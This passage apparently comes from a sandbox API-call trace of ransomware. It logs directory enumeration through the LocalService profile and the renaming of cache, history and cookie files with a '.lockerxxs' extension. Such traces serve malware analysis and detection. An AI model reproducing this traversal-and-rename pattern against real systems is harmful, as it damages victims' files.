dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0140.794] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xf4be0d01, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.794] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4be0d01, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xb0146a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xb0146a00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0140.815] MoveFileA (lpExistingFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache-S-1-5-21-3388679973-3930757225-3770151564-1000-8192.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache-s-1-5-21-3388679973-3930757225-3770151564-1000-8192.dat"), lpNewFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache-S-1-5-21-3388679973-3930757225-3770151564-1000-8192.dat.lockerxxs" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache-s-1-5-21-3388679973-3930757225-3770151564-1000-8192.dat.lockerxxs")) returned 1 [0140.829] MoveFileA (lpExistingFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache-System.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache-system.dat"), lpNewFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache-System.dat.lockerxxs" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache-system.dat.lockerxxs")) returned 1 [0140.831] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4be0d01, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4be0d01, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4be0d01, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x501584, cFileName=".", cAlternateFileName="")) returned 0x502658 [0140.832] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4be0d01, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0x76b97149, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76b97149, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0140.832] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4be0d01, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4be0d01, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4be0d01, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.833] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\History\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4be0d01, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0x5175f5c0, ftLastAccessTime.dwHighDateTime=0x1d2fafe, ftLastWriteTime.dwLowDateTime=0x5175f5c0, ftLastWriteTime.dwHighDateTime=0x1d2fafe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.835] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5175f5c0, ftCreationTime.dwHighDateTime=0x1d2fafe, ftLastAccessTime.dwLowDateTime=0x517ab880, ftLastAccessTime.dwHighDateTime=0x1d2fafe, ftLastWriteTime.dwLowDateTime=0x517ab880, ftLastWriteTime.dwHighDateTime=0x1d2fafe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015b8, cFileName=".", cAlternateFileName="")) returned 0x502718 [0140.838] MoveFileA (lpExistingFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.lockerxxs" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat.lockerxxs")) returned 1 [0140.839] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4be0d01, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0x51739460, ftLastAccessTime.dwHighDateTime=0x1d2fafe, ftLastWriteTime.dwLowDateTime=0x51739460, ftLastWriteTime.dwHighDateTime=0x1d2fafe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x52d540, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.840] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x51739460, ftCreationTime.dwHighDateTime=0x1d2fafe, ftLastAccessTime.dwLowDateTime=0x51785720, ftLastAccessTime.dwHighDateTime=0x1d2fafe, ftLastWriteTime.dwLowDateTime=0x51785720, ftLastWriteTime.dwHighDateTime=0x1d2fafe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0140.840] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7HGJ4N77\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x51785720, ftCreationTime.dwHighDateTime=0x1d2fafe, ftLastAccessTime.dwLowDateTime=0x51785720, ftLastAccessTime.dwHighDateTime=0x1d2fafe, ftLastWriteTime.dwLowDateTime=0x51785720, ftLastWriteTime.dwHighDateTime=0x1d2fafe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502758 [0140.849] MoveFileA (lpExistingFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.lockerxxs" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat.lockerxxs")) returned 1 [0140.851] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\K7H3E31J\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x51785720, ftCreationTime.dwHighDateTime=0x1d2fafe, ftLastAccessTime.dwLowDateTime=0x51785720, ftLastAccessTime.dwHighDateTime=0x1d2fafe, ftLastWriteTime.dwLowDateTime=0x51785720, ftLastWriteTime.dwHighDateTime=0x1d2fafe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720065, dwReserved1=0x690076, cFileName=".", cAlternateFileName="")) returned 0x502758 [0140.854] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\SP12H0OS\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x51785720, ftCreationTime.dwHighDateTime=0x1d2fafe, ftLastAccessTime.dwLowDateTime=0x51785720, ftLastAccessTime.dwHighDateTime=0x1d2fafe, ftLastWriteTime.dwLowDateTime=0x51785720, ftLastWriteTime.dwHighDateTime=0x1d2fafe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0140.857] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\VD699IQD\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x51785720, ftCreationTime.dwHighDateTime=0x1d2fafe, ftLastAccessTime.dwLowDateTime=0x51785720, ftLastAccessTime.dwHighDateTime=0x1d2fafe, ftLastWriteTime.dwLowDateTime=0x51785720, ftLastWriteTime.dwHighDateTime=0x1d2fafe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0140.864] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0140.865] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650054, dwReserved1=0x70006d, cFileName=".", cAlternateFileName="")) returned 0x502518 [0140.865] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0140.865] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0140.866] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.866] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x750051, dwReserved1=0x630069, cFileName=".", cAlternateFileName="")) returned 0x502698 [0140.867] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0x51785720, ftLastAccessTime.dwHighDateTime=0x1d2fafe, ftLastWriteTime.dwLowDateTime=0x51785720, ftLastWriteTime.dwHighDateTime=0x1d2fafe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.871] MoveFileA (lpExistingFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat"), lpNewFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.lockerxxs" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat.lockerxxs")) returned 1 [0140.874] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe90001e8, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.875] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.875] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.876] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.881] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540020, dwReserved1=0x20004f, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.882] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0140.882] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502758 [0140.883] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502798 [0140.888] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015ec, cFileName=".", cAlternateFileName="")) returned 0x502798 [0140.891] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0140.894] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x67006f, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0140.894] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\Desktop\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0052, dwReserved1=0x6d0061, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.895] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\Documents\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.897] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\Downloads\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf4c06e61, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c06e61, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c06e61, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.897] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\Favorites\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf4c2cfc2, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c2cfc2, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c2cfc2, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.899] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\Links\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf4c2cfc2, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c2cfc2, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c2cfc2, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0140.899] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\LocalService\\Music\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf4c2cfc2, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4c2cfc2, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4c2cfc2, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, 